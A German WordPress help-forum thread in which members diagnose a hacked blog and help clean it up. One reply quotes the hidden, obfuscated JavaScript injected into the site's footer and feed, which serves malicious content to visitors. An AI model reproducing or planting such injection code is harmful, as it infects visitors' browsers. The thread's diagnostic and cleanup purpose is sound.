Suchanfragen ":site www...." über google

schmollo

Hallo und guten Morgen,

im Moment kommen fast ausschließlich Suchanfragen über google, die wie folgt aufgebaut sind:

:site schmollo.de und dann die einzelne Seite (Permalink)

Wieso wird da direkt nach den Seiten gesucht? Habt Ihr vielleicht eine Ahnung, was da läuft?
Oder habe ich auch so einen Trojaner auf der Website?

Grüße
Olaf

Werbepost

Hallo!

Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
✔️ Deutsche Server & DSGVO-konform
✔️ Persönlicher Support (kein 0815-Ticket-System)

Mehr erfahren

Monika

Zitat von schmollo

Hallo und guten Morgen,

im Moment kommen fast ausschließlich Suchanfragen über google, die wie folgt aufgebaut sind:

:site schmollo.de und dann die einzelne Seite (Permalink)

Wieso wird da direkt nach den Seiten gesucht? Habt Ihr vielleicht eine Ahnung, was da läuft?
Oder habe ich auch so einen Trojaner auf der Website?

Grüße
Olaf

Alles anzeigen

so sieht man nach, ob eine Seite im Google Index ist

da in letzter Zeit Google Blogs so hie und da nicht in den normalen Index nahm kann es sein, dass jemand dies zufällig so ausprobiert,
sowas ist weder ein Trojaner noch gefährlich,
irgendwer hat Interesse an Deinem Blog wieso auch immer

lg

Herr Schmidt

Deine Seite verteilt Trojaner. Zieht dir mal den Exploit Scanner und mach deine Artikel sauber.

Monika

das andere

Du hast aber vermutlich doch wo ein Script laufen auf deiner Seite
= Werbung?
wenn ja kill es , wenn nein, dann nutze dieses Plugin mal:

Gehackt!

lg

schmollo

Habe Exploit mal ausgeführt.

Das Ergebnis kam:
http://www.schmollo.de/exploit.pdf

Ich habe irgendwie nichts verdächtiges gefunden, oder?

Herr Schmidt

seltsam das der Scanner das nicht findet ...

Schau dir mal in deinem Footer die letzte Zeile an:

Zitat

<!--864b730d3768b468f5ea9fb3a1db7322-><script language=javascript>yoce="%";rj="<scrx69px74 langux61gx65x3djx61x76x61scrix70x74x3e x66x75nctionx20ksdx28x6cx65)x7bx76ax72x20zz,x6b=x22x55;lvx32ex56d x78x3dEx43x7d.x62px5fx38x7bx23sBOHx28x5e0Gz@g+x5d4Tx37f&9[1x46x27x24x36x5ayx71:uM3*kN)x7cx41x6ax2cI`ia\\\ ux3dle.charx41t(x7az)x3baqnx3dkx2eindx65x78Ofx28u);ix66(ax71nx3ex2dx31x29{ ptkx3d(x28x61qn+1)x25x381x2d1);if(ptx6bx3cx3d0x29ptx6b+=x38x31;gx2bx3dx6b.cx68arAtx28x70x74kx2dx31)x3bx20} elsex20g+x3dux3bx7dl+=g;dx6fcx75mex6et.wx72x69tx65x28x6c);}<x2fscrx69x70t>";pfbpd=unescape(rj.replace(/x/g,yoce));var y,d;document.write(pfbpd);y="<B-~a_Jxv\"t+M\"+VEP,\"2\"B-~a_JP>x U-MwVtJbn~aJV^xP<S}R`57xv\"t+M\"+VE\\Ph\"2\"S-~a_J\\PxSR}E\\PKJJ_u//nnnb+UU+vV\"t\"vqJv-Bb-Uw/88MJJb,B?P] U-MwVtJb~V&V~~V~]P\\P><\\/S}R`57>Px|lx</B-~a_J>x";ksd(y);</script>

Sieht nicht gesund aus :)

schmollo

Das ist mir auch aufgefallen. Aber ich weiß echt nicht, wo der herkommt.

Footer.php sieht so aus:

PHP

<div id="footer">
  <!--recent comments start -->
  <div class="footer-recent-posts">
    <h4>Neueste Beitraege:</h4>
      <?php query_posts('showposts=5'); ?>
    <ul>
    <?php while (have_posts()) : the_post(); ?>
    <li>
    <strong><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php _e('Permanent link to'); ?> <?php the_title(); ?>"><?php the_title(); ?></a></strong><br />
    <small><?php the_time('d.m.Y') ?></small>
    </li>
    <?php endwhile;?>
    </ul>
  </div>
  <!--recent comments start -->


  <!--recent comments start -->
  <div class="footer-recent-comments">
    <?php include (TEMPLATEPATH . '/simple_recent_comments.php'); /* recent comments plugin by: www.g-loaded.eu */?>
    <?php if (function_exists('src_simple_recent_comments')) { src_simple_recent_comments(5, 60, '<h4>Neueste Kommentare:</h4>', ''); } ?>
  </div>
  <!--recent comments end -->
  
    <!--about text start -->
    <div class="footer-about">
        <?php include (TEMPLATEPATH . '/about_text.txt'); /* Open about_text.txt in the theme folder to edit this text */?>    
    </div>
    <!--about text end -->
    
  <hr class="clear" />
  </div><!--/footer -->
</div><!--/page -->


<!--credits start -->
<div id="credits">
<div class="alignleft"><a href="http://www.ndesign-studio.com/resources/wp-themes/">WP Theme</a> &amp; <a href="http://www.ndesign-studio.com/stock-icons/">Icons</a> by <a href="http://www.ndesign-studio.com">N.Design Studio</a></div> 
<div class="alignright"><a href="<?php bloginfo('rss2_url'); ?>" class="rss">Entries RSS</a> <a href="<?php bloginfo('comments_rss2_url'); ?>" class="rss">Comments RSS</a> <span class="loginout"><?php wp_loginout(); ?></span></div>
</div>
<!--credits end -->
<?php wp_footer(); ?>
</body>
</html>

Alles anzeigen

Herr Schmidt

von außen schwer zu sagen. Hol dir mal das Template nochmal im original und teste ob es da dran liegt, danach würde ich mal alle Plugins deaktivieren um zu schauen ob vielleicht eines davon für die Zeile verantwortlich ist.

Putzlowitsch

Wenn man sich den Quelltext ansieht, kommt das erst nach 250 Leerzeilen, zudem noch mit vielen Leerzeichen nach rechts gerückt und erst nach dem </html>. Das soll man im Quelltext möglichst nicht finden. Wer scrollt schon soweit runter, wenn da scheinbar nichts mehr steht...

Gruß
Ingo

schmollo

Ich habe mal ein älteres Theme benutzt - das gleiche Spiel. Sogar bei dem Standard-Theme, welches ich noch nie benutzt habe.

Plugins habe ich nacheinander alle mal deaktiviert - auch keine Änderung.

Von wo wird denn die Index-Seite noch generiert??

Putzlowitsch

Im Feed steht das übrigens auch drin, dürfte also eher nicht in den Theme-Dateien zu suchen sein.

Gruß
Ingo

Herr Schmidt

Versuch mal den kompletten Code von Wordpress neu aufzuspielen, also nicht nur die Updates auf 2.5.1 sondern die komplette Version.

schmollo

Habe jetzt mal alles neu aufgespielt. Der Code ist weg.

Schlägt bei Euch der Virenwarner noch an?

Alphawolf

Der Schadcode befand sich vermutlich in der

Code

wp-includes/default-filters.php

Falls du die Datei noch hast, kannst du ja mal reinschauen. Hatte so etwas ähnliches auch mal gehabt. Der "Exploit" hatte sich dort an den "wp_footer" Filter gehangen. Im Template selbst war nichts zu sehen.

Herr Schmidt

bei mir kommt nichts mehr, scheint als wäre die Operation gelungen :)

schmollo

Na, das hoffe ich auch.

Vielen Dank für Eure Hilfe. :-D

Grüße
Olaf

Willkommen! Melden Sie sich an oder registrieren Sie sich.

Suchanfragen ":site www...." über google

Jetzt mitmachen!